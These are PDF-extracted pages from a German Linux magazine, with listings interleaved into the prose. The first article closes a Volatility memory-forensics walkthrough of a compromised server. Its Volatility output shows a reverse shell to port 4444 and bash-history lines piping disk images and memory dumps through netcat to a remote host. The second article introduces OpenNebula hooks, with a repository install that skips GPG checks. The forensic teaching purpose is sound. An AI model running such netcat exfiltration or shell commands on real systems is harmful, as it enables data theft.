Festplatte des kompromittierten Systems<br />

vor, beispielsweise mit der Bash-History.<br />

Doch dass der interessierte Angreifer über<br />

Wget Schadsoftware eingeschleust hat,<br />

lässt sich auch aus dem Memory Dump<br />

erkennen – schon mit Unix-Standardtools:<br />

Verdächtige Einträge wie »wget«, »tar.gz«<br />

oder »tgz« sucht der Strings-Befehl:<br />

Listing 5: »vol.py«-Kommandos<br />

01 # vol.py linux_mount<br />

02 Volatile Systems Volatility Framework 2.3_beta<br />

03 [...]<br />

04 sysfs rw,nosuid,nodev,noexec<br />

05 udev /dev tmpfs rw<br />

06 tmpfs /lib/init/rw tmpfs rw,nosuid<br />

07 /dev/sda1 / ext3 rw none<br />

08 /proc proc rw,nosuid,nodev,noexec<br />

09 devpts /dev/pts devpts rw,nosuid,noexec<br />

10 usbfs /proc/bus/usb usbfs rw,nosuid,nodev,noexec<br />

11 tmpfs /dev/shm tmpfs rw,nosuid,nodev<br />

12 [...]<br />

13 # vol.py linux_arp<br />

14 Volatile Systems Volatility Framework 2.3_beta<br />

15 [:: ] at 00:00:00:00:00:00 on lo<br />

16 [192.168.56.1 ] at 0a:00:27:00:00:00 on eth0<br />

17 [192.168.56.101 ] at 08:00:27:28:5a:cc on eth0<br />

18 <br />

19 # vol.py linux_netstat<br />

20 Volatile Systems Volatility Framework 2.3_beta<br />

21 UDP 0.0.0.0:111 0.0.0.0:0 portmap/1429<br />

22 TCP 0.0.0.0:111 0.0.0.0:0 LISTEN portmap/1429<br />

23 UDP 0.0.0.0:769 0.0.0.0:0 rpc.statd/1441<br />

24 UDP 0.0.0.0:38921 0.0.0.0:0 rpc.statd/1441<br />

25 TCP 0.0.0.0:39296 0.0.0.0:0 LISTEN rpc.statd/1441<br />

26 UDP 0.0.0.0:68 0.0.0.0:0 dhclient3/1624<br />

27 UNIX /dev/log<br />

28 UNIX /var/run/acpid.socket<br />

29 TCP :::22 :::0 LISTEN sshd/1687<br />

30 TCP 0.0.0.0:22 0.0.0.0:0 LISTEN sshd/1687<br />

31 TCP :::25 :::0 LISTEN exim4/1942<br />

32 TCP 0.0.0.0:25 0.0.0.0:0 LISTEN exim4/1942<br />

33 TCP 192.168.56.102:43327 192.168.56.1:4444 ESTABLISHED sh/2065<br />

34 TCP 192.168.56.102:43327 192.168.56.1:4444 ESTABLISHED sh/2065<br />

35 TCP 192.168.56.102:43327 192.168.56.1:4444 ESTABLISHED sh/2065<br />

36 TCP 192.168.56.102:25 192.168.56.101:37202 CLOSE sh/2065<br />

37 TCP 192.168.56.102:25 192.168.56.101:37202 CLOSE sh/2065<br />

38 TCP 192.168.56.102:56955 192.168.56.1:8888 ESTABLISHED nc/2169<br />

39 <br />

40 # vol.py linux_psaux | egrep '(2065|2169)'<br />

41 Volatile Systems Volatility Framework 2.3_beta<br />

42 2065 0 0 sh 2169 0 0 nc 192.168.56.1 8888<br />

43 <br />

44 # vol.py linux_bash<br />

45 Volatile Systems Volatility Framework 2.3_beta<br />

46 Pid Name Command Time Command<br />

47 ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐<br />

48 2042 bash 2011‐02‐06 14:04:39 UTC+0000 apt‐get remove exim4<br />

49 [...]<br />

50 2042 bash 2011‐02‐06 14:04:39 UTC+0000 scp yom@192.168.56.1:/home/<br />

yom/temporary/exmi4/* .<br />

51 [...]<br />

52 2042 bash 2011‐02‐06 14:04:39 UTC+0000 vi update‐exim4.conf.conf<br />

53 2042 bash 2011‐02‐06 14:04:39 UTC+0000 update‐exim4.conf<br />

54 2042 bash 2011‐02‐06 14:04:39 UTC+0000 halt<br />

55 2042 bash 2011‐02‐06 14:04:39 UTC+0000 reboot<br />

56 2042 bash 2011‐02‐06 14:04:39 UTC+0000 whereis gcc<br />

57 2042 bash 2011‐02‐06 14:04:39 UTC+0000 whereis memdump<br />

58 2042 bash 2011‐02‐06 14:04:39 UTC+0000 apt‐get install memdump<br />

59 2042 bash 2011‐02‐06 14:04:39 UTC+0000 halt<br />

60 2042 bash 2011‐02‐06 14:04:39 UTC+0000 ifconfig<br />

61 2042 bash 2011‐02‐06 14:04:39 UTC+0000 ping 192.168.56.1<br />

62 2042 bash 2011‐02‐06 14:04:39 UTC+0000 mount<br />

63 2042 bash 2011‐02‐06 14:04:39 UTC+0000 sudo dd if=/dev/sda | nc<br />

192.168.56.1 4444<br />

64 [...]<br />

65 2042 bash 2011‐02‐06 14:04:39 UTC+0000 apt‐get install memdump<br />

66 2042 bash 2011‐02‐06 14:04:39 UTC+0000 netstat ‐ant<br />

67 2042 bash 2011‐02‐06 14:04:39 UTC+0000 apt‐get install ddrescue<br />

68 2042 bash 2011‐02‐06 14:04:39 UTC+0000 apt‐get install dcfldd<br />

69 2042 bash 2011‐02‐06 14:04:39 UTC+0000 ls /dev/kmem<br />

70 2042 bash 2011‐02‐06 14:04:39 UTC+0000 ls /dev/mem<br />

71 2042 bash 2011‐02‐06 14:04:39 UTC+0000 halt<br />

72 2042 bash 2011‐02‐06 14:04:39 UTC+0000 ifconfig<br />

73 2042 bash 2011‐02‐06 14:04:39 UTC+0000 ifconfig<br />

74 2042 bash 2011‐02‐06 14:04:39 UTC+0000 reboot<br />

75 2042 bash 2011‐02‐06 14:04:46 UTC+0000 ifconfig<br />

76 2042 bash 2011‐02‐06 14:24:43 UTC+0000 dd if=/dev/sda1 | nc<br />

192.168.56.1 8888<br />

77 2042 bash 2011‐02‐06 14:42:29 UTC+0000 memdump | nc 192.168.56.1<br />

8888


Abbildung 2: Das Volatility-Tool Yarascan hat eine gespawnte Shell gefunden,<br />

über die ein Angreifer offensichtlich Daten übertragen hat.<br />

strings ‐td victoria‐v8.memdump.img | U<br />

egrep '(\.tar|\.tgz|.\tar\.gz)'<br />

Das liefert recht viele Treffer, darunter<br />

auch »rk.tar« am Offset »4« (Listing 6).<br />

In dessen Umkreis finden sich meist noch<br />

mehr spannende Fakten. Seltsamerweise<br />

ist dies hier nicht der Fall. Wer das physische<br />

Dateisystem greifbar hat, kann die<br />

Dateien rund um »rk.tar« inspizieren.<br />

Dateien über den Tmp-FS-<br />

Cache rekonstruieren<br />

Infos<br />

[1] Ergebnisse der Universität Princeton:<br />

[https:// citp. princeton. edu/ research/​<br />

memory/]<br />

[2] Volatility:<br />

[http:// code. google. com/ p/ volatility/]<br />

[3] Achim Leitner, „Einbruch“: <strong>Linux</strong>-<strong>Magazin</strong><br />

06/08, S. 29: [http:// www. linux‐magazin.​<br />

de/ Ausgaben/ 2008/ 06/ Einbruch/​]<br />

[4] Lime: [http:// code. google. com/ p/​<br />

lime‐forensics/]<br />

[5] Memory Dumps: [http:// code. google. com/​<br />

p/ volatility/ wiki/ SampleMemoryImages]<br />

[6] Helix-CD:<br />

[http:// www. e‐fense. com/ products. php]<br />

[7] Lime-Download: [http:// code. google. com/​<br />

p/ lime‐forensics/ downloads/ list]<br />

[8] Fmem: [http:// hysteria. sk/ ~niekt0/ fmem/]<br />

[9] Msramdump: [http:// www.​<br />

mcgrewsecurity. com/ tools/ msramdmp/]<br />

[10] Volatility mit Plugins: [http:// code. google.​<br />

com/ p/ volatility/ wiki/ FullInstallation]<br />

[11] Dwarf: [http:// dwarfstd. org]<br />

[12] Ein infizierter Server zum Üben:<br />

[http:// www. honeynet. org/ challenges/​<br />

2011_7_compromised_server]<br />

[13] Sleuthkit: [http://www.sleuthkit.org/]<br />

Auch der Befehl »linux_mount« kann erhellende<br />

Informationen liefern, die jetzt<br />

zum Tragen kommen, etwa ob das System<br />

das heute selbstverständliche<br />

Tmp-FS<br />

benutzt hat. Das temporäre<br />

Dateisystem<br />

hält fast immer eine<br />

Kopie des Dateisystems<br />

als Cache im<br />

RAM vor.<br />

Mit etwas Glück lassen<br />

sich so Dateien,<br />

in diesem Beispiel »rk.<br />

tar«, aus dem Arbeitsspeicher rekonstruieren.<br />

Genau dafür liefert Volatility den<br />

Befehl »linux_dentry_cache«:<br />

vol.py<br />

linux_dentry_cache > bodyfile<br />

Die Ausgabedatei liegt, wie der verwendete<br />

Name bereits vermuten lässt, im forensischen<br />

Bodyfile-Format vor. Mactime,<br />

ein Programm aus dem Sleuthkit [13],<br />

hilft und wandelt sie in ein lesbares Format<br />

um (Listing 7).<br />

Fehlerhafte<br />

Implementierung<br />

Aber leider weist das rekonstruierte<br />

Body file-Format immer noch einen Fehler<br />

bei der Wiederherstellung des Datums<br />

auf – der 11. Februar 2080 wird wohl<br />

nicht das Erstellungsdatum gewesen sein.<br />

Die Datei ist als Beweismittel daher mit<br />

Vorsicht zu genießen. Die Entwickler sind<br />

hierüber bereits informiert, doch die Rekonstruktion<br />

von »rk.tar« bleibt damit<br />

derzeit erfolglos, zumindest für den, der<br />

das Dateisystem nicht hat.<br />

Immerhin lässt sich als Proof-of-Concept<br />

die Datei »/etc/passwd« wiederherstellen:<br />

vol.py linux_find_file ‐F "/etc/passwd"<br />

Volatile Systems Volatility Framework U<br />

2.3_beta<br />

Inode Number<br />

Inode<br />

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐<br />

48355 0xcf033e48<br />

Listing 6: »strings« mit »awk«<br />

01 strings ‐td victoria‐v8.memdump.img| awk<br />

'$1>253507000 && $1 < 253509999 {print}'<br />

02 253507096 sshd<br />

03 253507231 info<br />

04 253507363 5Tj‐0000Ym‐DX‐D<br />

05 253507493 Pm5SK‐0000Yf‐0U‐D<br />

06 253507628 Mq‐0000XR‐N4‐D<br />

07 253507889 om_adj<br />

08 253508020 hosts.deny<br />

Der virtuelle Inode im gecachten System<br />

liegt also bei 0xcf033e48. Nach dem<br />

Aufruf von »vol.py linux_find_file ‐i<br />

0xcf033e48 ‐O /tmp/passwd« liegt eine<br />

Kopie der rekonstruierten Passwd-Datei<br />

im Verzeichnis »/tmp«.<br />

Fazit<br />

Für die neueste Version von Volatility<br />

haben die Entwickler viel geleistet. Neue<br />

<strong>Linux</strong>-Befehle erweitern den Befehlsumfang<br />

gewaltig. Verglichen mit den bisherigen<br />

Methoden der Memory-Auswertung,<br />

die sich meist auf Strings-Befehle beschränken<br />

musste, erscheinen die neuen<br />

Tools wie ein Quantensprung, der in der<br />

Version 2.3 ja auch auf Android und I-OS<br />

kommen soll. Wermutstropfen bleibt die<br />

Profilerstellung. Die zeitaufwändige Prozedur<br />

ist aber nicht Volatility anzulasten,<br />

hier wären eher Distributionshersteller in<br />

der Pflicht. <br />

n<br />

Der Autor<br />

Hans-Peter Merkel ist mit<br />

dem Schwerpunkt Datenforensik<br />

seit vielen Jahren<br />

in der Open-Source-<br />

Community aktiv. Er bildet<br />

Mitarbeiter von Strafverfolgungsbehörden<br />

in Europa, Asien und Afrika aus<br />

und engagiert sich als Gründer und Vorsitzender<br />

bei Freioss und <strong>Linux</strong>4afrika.<br />

Listing 7: »mactime«<br />

01 # mactime ‐b bodyfile > bodyfile.mac<br />

02 # cat bodyfile.mac<br />

03 [...]<br />

04 Sun Feb 11 2080 08:21:56 4421289 .a.. 0 101 103<br />

39467 tmp/rk.tar<br />

05 Sun Feb 11 2080 08:22:04 4421289 m... 0 101 103<br />

39467 tmp/rk.tar<br />

06 Sun Feb 11 2080 08:22:12 4421289 ...b 0 101 103<br />

39467 tmp/rk.tar<br />

09 253508152 alternatives<br />

10 253508216 @f37<br />

11 253508284 hosts.allow<br />

12 253508551 _adj<br />

13 253508683 5Rz‐0000Xt‐U0‐D<br />

14 253508944 rk.tar<br />

15 253509208 exim<br />

16 253509340 exim<br />

17 253509472 input<br />

Volatility 2.3 11/2013<br />

Sysadmin<br />

www.linux-magazin.de<br />

73


Sysadmin<br />

www.linux-magazin.de Open Nebula 11/2013<br />

74<br />

Open Nebula mit Hooks erweitern<br />

Action am Haken<br />

An Hooks, also an Haken, können trittsichere Open-Nebula-Anwender ihre Shellprogramme einklicken, die bei<br />

Statusänderungen virtueller Maschinen automatisch Aktionen auslösen. Der Berg ruft. Nils Magnus<br />

und Funktionsumfangs und mit jeweils<br />

eigenen Konzepten wählen.<br />

Wegen der Verschiedenartigkeit abzudeckender<br />

Einsatzszenarien gebärden sich<br />

die meisten Cloudstacks aber komplex<br />

und erfordern eine langwierige Einarbeitung.<br />

Dass bei normalen Anforderungen<br />

der Benutzer auch schneller vorangehen<br />

kann, will das aus Spanien stammende<br />

Open Nebula [5] beweisen.<br />

Schlanke Cloudverwaltung<br />

aus Spanien<br />

© gregeperson, photocase.com<br />

Virtualisierung hat die Schlagzahl<br />

beträchtlich erhöht – mit KVM, Xen,<br />

VMware & Co. stellt der Admin neue<br />

Systeme viel schneller bereit, als sich<br />

neue Hardware in den Zeiten dedizierter<br />

Server beschaffen ließ. Die gewonnene<br />

Zeit bringt der nun für viel mehr Systeme<br />

Verantwortliche mit dem Klonen<br />

von Image-Konfigurationen, dem Kopieren<br />

von Verzeichnissen und dem Mounten<br />

von Speicherressourcen zu. Richtig<br />

knifflig wird es, wenn die Hardware nach<br />

Wartung ruft, denn dann gilt es, virtuelle<br />

Maschinen herunterzufahren, zu verschieben<br />

und neu zu starten.<br />

Wer die Schwemme an Handgriffen reduzieren<br />

will, greift zu einer Infrastructureas-a-Service-Lösung<br />

(IaaS). Sie nimmt<br />

sich der wichtigsten Aufgaben der Servervirtualisierung<br />

an, verwaltet Basisinfrastruktur<br />

wie DNS und DHCP und stellt<br />

dem Admin eine <strong>Web</strong>oberfläche zur Verfügung.<br />

Mit Open Stack [1], Open QRM<br />

[2], Eucalyptus [3] oder Ganeti [4] darf<br />

der Systemverwalter aus Open-Source-<br />

Produkten unterschiedlicher Herkunft<br />

Die Software verbrachte ihre Kindheit<br />

im akademischen Elternhaus des Grid<br />

Computing, mittlerweile gilt sie als leichtgewichtige<br />

Enterprise-Lösung [6]. Der<br />

amerikanische Teilchenbeschleuniger<br />

Fermilab verwaltet damit mehrere Hundert<br />

virtuelle Maschinen, auf industrieller<br />

Seite listet das Projekt unter anderem<br />

Telefonica und Akamai als Anwender. Die<br />

Hauptentwickler von C12G Labs bieten<br />

kommerziellen Support an und bauen<br />

derzeit ein internationales Partnernetzwerk<br />

auf [7].<br />

Open Nebula zeichnet sich durch schlichte<br />

Eleganz aus. Wo andere IaaS-Wettbewerber<br />

vom Admin fordern, ein halbes<br />

Dutzend Dienste und Komponenten zu<br />

installieren und zu konfigurieren, kommt<br />

Open Nebula mit wenigen Komponenten<br />

und nur einem Frontend zum Steuern<br />

und Konfigurieren der eigenen Cloud aus,<br />

dem Open Nebula Sunstone. Der Kasten<br />

Listing 1: Ausschnitt aus »/etc/one/oned.conf«<br />

01 VM_HOOK = [<br />

07 VM_HOOK = [<br />

02 name = "vm_einschalten",<br />

08 name = "vm_ausschalten",<br />

03 on = "RUNNING",<br />

09 on = "STOP",<br />

04 command = "account.sh",<br />

10 command = "account.sh",<br />

05 arguments = "on $ID" ]<br />

11 arguments = "off $ID" ]<br />

06 <br />

12 [...]<br />

DELUG-DVD<br />

Auf der Heft-DVD dieser Ausgabe<br />

finden Sie den hier im Artikel unter [6]<br />

DELUG-DVD<br />

referenzierten Open-Nebula-Artikel aus der<br />

Ausgabe 10/2011 als PDF-Dokument. Er erklärt<br />

die Grundlagen und das Setup der Version 3<br />

nochmals ausführlicher.


„Installation“ skizziert die Inbetriebnahme,<br />

Abbildung 1 die Architektur.<br />

Versionen und Features<br />

Open Nebula nennt seine Releases nach<br />

interstellaren Nebeln. Die im Mai 2013<br />

veröffentlichte stabile Version 4.0 taufte<br />

das Projekt „Eagle“ – nach dem rund<br />

7000 Lichtjahre entfernten Adlernebel,<br />

einem Mitte des 18. Jahrhunderts entdecktem<br />

Sternenhaufen. Gegenüber der<br />

rund zwei Jahre älteren 3.x-Linie kamen<br />

Bugfixes und vor allem eine Runderneuerung<br />

der <strong>Web</strong>oberfläche Sunstone dazu.<br />

Die betraf zum Beispiel den VNC-Zugriff<br />

auf virtuelle Maschinen.<br />

Die neueste Version 4.2 mit dem Codenamen<br />

„Flame“ erschien Anfang August<br />

2013. Der namengebende Flammennebel<br />

liegt im Sternenbild Orion, sein Licht benötigt<br />

rund 1000 Jahre bis zu uns. Die<br />

Macher des Projekts haben die Bedienung<br />

der Sunstone-Oberfläche für Flame etwas<br />

rundgeschliffen. Neu ist eine vereinfachte<br />

Ansicht, die sich explizit an Anwender<br />

wendet, die nur eine VM provisionieren<br />

und nicht den ganzen Cluster einrichten<br />

möchten. Admins können nun die Größe<br />

der Images besser beobachten und eingreifen,<br />

falls eine VM aus dem Ruder<br />

zu laufen droht. Dazu monitort Open<br />

Nebula neuerdings diese Ressource.<br />

Hypervisor<br />

Admin<br />

Virtualisierungshost 1<br />

VM 1 VM 2<br />

Browser<br />

VM 3 VM 4 VM 5<br />

HTTP<br />

Ganz neu haben die Entwickler das Backend<br />

für die VMware-Virtualisierung geschrieben,<br />

die sich nun einfacher installieren<br />

lässt und weniger Abhängigkeiten<br />

besitzt. Der Xen-Treiber nutzt neuerdings<br />

die XL-Funktionen von Version 4.0 des<br />

Hypervisors.<br />

Unter Open-Nebula-Anwendern hat sich<br />

die Praxis etabliert, in Testumgebungen<br />

die neueste Version der Features wegen<br />

zu benutzen, für den Produktivbetrieb<br />

jedoch die vorletzte Version. Die im<br />

Folgenden beschriebenen Programmierschnittstelle<br />

existierte zwar schon in der<br />

Frontend<br />

Sunstone<br />

Hypervisor<br />

3er Version, ihre ganze Funktionalität<br />

entfaltet sich aber erst mit der 4.0.<br />

Am Hook<br />

Steuerung der VMs per SSH<br />

VM 6<br />

One-<br />

API<br />

Virtualisierungshost 2<br />

VM 7 VM 8 VM 9<br />

Open Nebula Server<br />

Abbildung 1: Open-Nebula-Admins steuern ihre Cloud hauptsächlich über die Oberfläche Sunstone im <strong>Web</strong>browser.<br />

Das Frontend wiederum verbindet sich per API mit dem Open Nebula Server, der seinerseits die<br />

Virtualisierungshosts steuert. Open Nebula fordert von seinen Hosts nur einen laufenden SSH-Server.<br />

Ein wichtiger Grund, Server zu virtualisieren,<br />

ist das Streben nach Automatisierung.<br />

Hat die eigene Entwicklungsabteilung<br />

beispielsweise per CI-Server Jenkins<br />

[9] eine neue Release für ihre PHP-, Perl-,<br />

Ruby- oder Java-Anwendung gebaut, so<br />

kann sie automatisch eine Stage-VM mit<br />

den notwendigen Paketen und Frameworks<br />

erzeugen. Hat die beauftragende<br />

Open Nebula 11/2013<br />

Sysadmin<br />

www.linux-magazin.de<br />

75<br />

Installation<br />

Das Projekt Open Nebula liefert fertige Pakete<br />

für eine ganze Reihe von Distributionen aus, darunter<br />

für Centos, Arch und Gentoo. Um es unter<br />

Open Suse zu starten, fügt Root zusätzlich<br />

zum Packman-Repository die Paketquellen des<br />

Projekts hinzu und installiert die Software:<br />

zypper addrepo ‐‐no‐gpgcheck ‐‐refresh U<br />

‐t YUM http://opennebula.org/repo/U<br />

openSUSE/12.3/stable/x86_64 opennebula<br />

zypper refresh<br />

zypper install opennebula<br />

zypper install opennebula‐sunstone<br />

Für Debian und Ubuntu gibt es ein Tar-Archiv<br />

mit mehreren angepassten Debian-Paketen, von<br />

denen der Admin »opennebula‐common« und<br />

»libopennebula‐ruby« sowie deren Abhängigkeiten<br />

installiert. Das Tutorial [8] hilft kompetent<br />

weiter, sollten allfällige Ruby-Warnungen<br />

den Installationsprozess aufhalten.<br />

Die Installation legt den <strong>Linux</strong>-Benutzer »oneadmin«<br />

an, der mit gleicher UID auch auf allen<br />

Compute-Nodes existieren muss, die Open<br />

Nebula auch Hosts nennt. Außer einem laufenden<br />

Open-SSH-Server braucht der Systemverwalter<br />

dort keine Software zu installieren.<br />

Er stellt nur sicher, dass der öffentliche SSH-<br />

Schlüssel des Benutzers »oneadmin« in den<br />

»authorized_keys« des gleichen Accounts auf<br />

allen Compute-Nodes vorhanden ist und sich<br />

der Clouddienst damit überall einzuloggen<br />

vermag.<br />

Hypervisor-agnostische Virtualisierung<br />

Noch fehlt die Virtualisierungssoftware auf den<br />

Hosts, denn sie ist nicht Teil von Open Nebula.<br />

Der IaaS-Stack kennt aber die meisten Hypervisoren,<br />

darunter KVM, Xen sowie VMware, und<br />

steuert auch die Libvirt an.<br />

Auf dem Frontend hat die Installationsroutine<br />

unter »~oneadmin/.one/one_auth« einen Anwendungsaccount<br />

angelegt. Als »oneadmin«<br />

startet der Systemverwalter nun den Open-<br />

Nebula-Server mit dem Kommando »one start«<br />

und prüft mit »onevm list«, ob er ohne Fehlermeldungen<br />

das interne API des Servers erreicht.<br />

Um an das <strong>Web</strong>frontend von beliebigen<br />

Hosts aus zu gelangen, fügt er die gewünschte<br />

IP-Adresse oder den Eintrag<br />

:host = 0.0.0.0<br />

in die Konfigurationsdatei »/etc/one/sunstone<br />

‐server.conf« ein. Ohne weitere Änderungen<br />

bindet sich Sunstone (Abbildung 2) nur an Localhost<br />

und ist nach »sunstone‐server start«<br />

unter »http://localhost:9869/« zu erreichen.<br />

Bei Problemen prüft der Admin »/var/log/one/<br />

sunstone.log« und das zugehörige Errorfile im<br />

selben Verzeichnis.<br />

Übrigens laufen nur auf dem Frontend Dienste<br />

dauerhaft: Zu Open Nebulas Verwaltungsserver<br />

verbinden sich der Scheduler, der gegebenenfalls<br />

virtuelle Maschinen von einem Host auf<br />

einen anderen verschiebt, die <strong>Web</strong>oberfläche<br />

Sunstone und das API, über das Entwickler per<br />

OCCI- oder EC2-API Zugriff auf die Cloudfunktionen<br />

erlangen. Auf den Hosts selbst arbeitet<br />

außer den VMs und dem Open-SSH-Server kein<br />

Dienst auf Dauer.


Sysadmin<br />

www.linux-magazin.de Open Nebula 11/2013<br />

76<br />

Abbildung 2: Das Dashboard zeigt oben wichtige Systemparameter, darunter eine einfache Monitoring-Ansicht von Hosts (links) und virtuellen Maschinen (rechts).<br />

Über die Menüleiste (links) erzeugen und verwalten Administratoren – auf Wunsch auch Anwender – die Systeme der Open-Nebula-Cloud.<br />

Fachabteilung die Anwendung getestet<br />

und freigegeben, reicht dem Admin im<br />

besten Fall ein Klick, um die zugehörigen<br />

Ressourcen wieder freizugeben.<br />

In den Hochglanzbroschüren zum Thema<br />

Cloud Computing bleibt unerwähnt, dass<br />

hier die Tücke im Detail steckt. Denn<br />

oft ist es nötig, in der einen virtuellen<br />

Maschine ein Datenbankschema zu aktualisieren<br />

oder in einer anderen einen besonderen<br />

Dienst zu starten. Open Nebula<br />

stellt zum Glück für solche Aufgaben so<br />

genannte Hooks bereit [10]. Bei vielen<br />

Gelegenheiten ruft die Software damit<br />

externe Programme auf, die der Admin<br />

in der Programmier- oder Skriptsprache<br />

seiner Wahl verfassen darf.<br />

Nachhaken bei Ereignissen<br />

Das Grundprinzip: Wenn ein Open-Nebula-Anwender<br />

erfahren möchte, ob sich<br />

etwas bei einer virtuellen Maschine, einem<br />

Host, den konfigurierten Netzen,<br />

Benutzern, Gruppen oder Images ändert,<br />

schaltet er ein eigenes Skript in die Abarbeitungsreihenfolge<br />

ein. Seine Tools legt<br />

er im Verzeichnis »/var/lib/one/remotes/<br />

hooks« ab (bei Debian »/var/lib/opennebula/remotes/hooks«).<br />

Um festzulegen, auf welche Ereignisse<br />

er reagieren möchte, sucht sich der<br />

Cloudverwalter das auslösende Objekt<br />

und Ereignis aus Tabelle 1 oder 2 heraus<br />

und trägt es in »/etc/one/oned.conf« ein.<br />

Listing 1 registriert beispielsweise das<br />

Shellskript aus Listing 2, um die aktive<br />

Laufzeit der VMs zu messen.<br />

Das »VM_HOOK«-Konstrukt darf in der<br />

Konfiguration mehrfach auftauchen. Auf<br />

welches Ereignis Open Nebula reagiert,<br />

legt der Parameter »on« fest (Listing 1,<br />

Zeilen 3 und 9). Der Eintrag »commands«<br />

spezifiziert das aufzurufende Skript, »arguments«<br />

einen String, der seine Übergabeparameter<br />

enthält. Wie Kenner sofort<br />

an der Syntax sehen, ist die IaaS-<br />

Verwaltung selbst in Ruby verfasst. Bei<br />

der Sprache eigener Skripte bleibt dem<br />

Admin jedoch die freie Wahl.<br />

Das Shellskript aus Listing 2 prüft in den<br />

Zeilen 5 bis 9, ob die VM läuft, und verzeichnet<br />

zusammen mit der VM-ID in<br />

Zeile 24 einen Unix-Epoch-Zeitstempel im<br />

konfigurierbaren Logfile. Mit einem Awk-<br />

Skript, das sich Logfiles vornimmt und<br />

Werte parst, ließe sich daraus die Gesamtlaufzeit<br />

jeder VM leicht ermitteln und<br />

beispielsweise in der Fakturierungssoftware<br />

einer Abteilung oder eines Kunden<br />

der IaaS-Cloud weiterberechnen.<br />

Die »$TEMPLATE«-Variable<br />

Das Beispiel übergibt Parameter nur auf<br />

eine sehr einfache Weise. Mehr Infor-<br />

Tabelle 1: Ereignisse für virtuelle Maschinen<br />

Ereignis Wann tritt es ein?<br />

CREATE Nachdem Open Nebula eine neue VM erzeugt hat<br />

RUNNING Sobald die VM tatsächlich läuft<br />

SHUTDOWN Nachdem jemand die VM beendet hat<br />

STOP Sobald jemand die VM angehalten hat oder wenn Open Nebula<br />

eine VM von einem zum anderen Host migriert<br />

DONE Nachdem eine VM dauerhaft angehalten ist<br />

UNKNOWN Sobald eine VM in den Status »unknown« wechselt<br />

FAILED Sobald eine VM in den Status »failed« wechselt<br />

CUSTOM Wenn ein benutzerdefinierbares Ereignis eintritt<br />

Tabelle 2: Ereignisse für andere Objekte<br />

Ereignis<br />

Host<br />

CREATE<br />

Wann tritt es ein?<br />

Nachdem Open Nebula einen Host in die Verwaltung<br />

aufnimmt<br />

Sobald eine VM einen Fehlerzustand erkennt<br />

Wenn ein Host den Cluster verlässt<br />

ERROR<br />

DISABLE<br />

Netz, User, Gruppe oder Image<br />

CREATE Wenn jemand das Objekt erzeugt<br />

REMOVE Falls jemand das Objekt entfernt


mationen über die betroffenen Ressourcen<br />

erlangt der Anwender, wenn er den<br />

Inhalt der Variablen »$TEMPLATE« an<br />

das Skript weiterreicht. Sie speichert in<br />

einer Art XML-Dialekt eine Vielzahl von<br />

Details über die VM, das Netz oder das<br />

Speichersystem. Um nicht mit einem externen<br />

XML-Parser ganz großes Geschütz<br />

auffahren zu müssen, liefern die Entwickler<br />

ein Werkzeug mit, das die Inhalte in<br />

handliche Key-Value-Paare zerlegt und<br />

ausfiltert. So liefert das Bash-Fragment<br />

X=/var/lib/one/remotes/datastore/xpath.rb<br />

mem=$($X ‐b $template HOST_SHARE/MAX_MEM)<br />

den Inhalt des Containers von »« unterhalb des<br />

Wurzelknotens. In diesem Feld verschickt<br />

Open Nebula den Wert für verfügbaren<br />

Gesamtspeicher auf dem Virtualisierungshost,<br />

Listing 3 zeigt als Beispiel ein<br />

ganzes Bündel an Werten.<br />

Monitoring als<br />

Hauptanwendung<br />

mit Ganglia [11] selbst ein einfaches Performance-Monitoring<br />

mit, womit der Systemverwalter<br />

die wichtigen Systemparameter<br />

wie CPU-Last oder freien Speicher<br />

im Auge behält.<br />

Wer sich an das »CREATE«-Event einer<br />

VM anhängt, kann die Monitoring-Agentensoftware<br />

per Konfigurationsmanagement<br />

gleich mitinstallieren oder eine<br />

fertige Anwendung per Continous-Integration-Trigger<br />

ausrollen. Sowohl Puppet,<br />

Chef & Co. als auch Jenkins bieten dafür<br />

Schnittstellen, die der Admin mit Wget<br />

oder Curl anzusteuern im Stande ist.<br />

Ein- und Ausblick<br />

Eine eigene private Open-Nebula-Cloud<br />

baut der Systemverwalter mit vergleichsweise<br />

wenigen Handgriffen auf. Im<br />

einfachsten Fall benötigt er bloß zwei<br />

Systeme, eine Managementkonsole mit<br />

<strong>Web</strong>zugriff und einen Virtualisierungshost.<br />

Wegen seiner gut handhabbaren<br />

und offenen Schnittstellen lässt sich<br />

das modulare Open Nebula erweitern.<br />

Das gelingt – wie im Artikel beschrieben<br />

– mittels Hooks, die sich in wichtige<br />

System ereignisse einklinken.<br />

Darüber hinaus stellt die IaaS-Verwaltung<br />

Interessierten eine Reihe weiterer APIs<br />

bereit: Mittels so genannter Treiber können<br />

sie ähnlich einfach neue Hypervisoren<br />

einbinden. Über EC2- oder OCCI-<br />

Konnektoren (Oracle C++ Call Interface)<br />

steuert der Wolkenkapitän das Hoch- und<br />

Herunterfahren seiner virtuellen Anwendungen.<br />

Der Admin legt Speicherressourcen<br />

zwar von Hand an und verwaltet<br />

seine VLANs selbst, erhält dafür aber<br />

mit Open Nebula eine private Cloud, die<br />

transparent und nachvollziehbar über<br />

den Himmel zieht. (jk) <br />

n<br />

Der Autor<br />

Nils Magnus entwirft als Senior System Engineer<br />

bei der Inovex GmbH skalier- und automatisierba re<br />

Datacenter-Lösungen. Außerdem plant er als Program<br />

Chair das Vortragsprogramm des <strong>Linux</strong>tags.<br />

Open Nebula 11/2013<br />

Sysadmin<br />

www.linux-magazin.de<br />

77<br />

Diese einfache Schnittstelle bietet vielfältige<br />

Möglichkeiten: Über den Umweg des<br />

Pollens von Log- oder Statusdateien lässt<br />

sich etwa ein bestehendes Verfügbarkeitsmonitoring<br />

wie Nagios oder Zabbix<br />

einbinden. Alternativ bringt Open Nebula<br />

Infos<br />

[1] Open Stack: [http:// www. openstack. org]<br />

[2] Open QRM: [http:// www.​<br />

openqrm‐enterprise. com/ community/]<br />

[3] Eucalyptus: [https:// github. com/​<br />

eucalyptus/ eucalyptus/ wiki]<br />

[4] Ganeti: [http:// code. google. com/ p/ ganeti/]<br />

[5] Open Nebula: [http:// opennebula. org]<br />

[6] Holger Gantikow, Christoph Raible, „Open<br />

Nebula 3“: <strong>Linux</strong>-<strong>Magazin</strong> 10/​11, S. 80,<br />

sowie auf der aktuellen Delug-DVD<br />

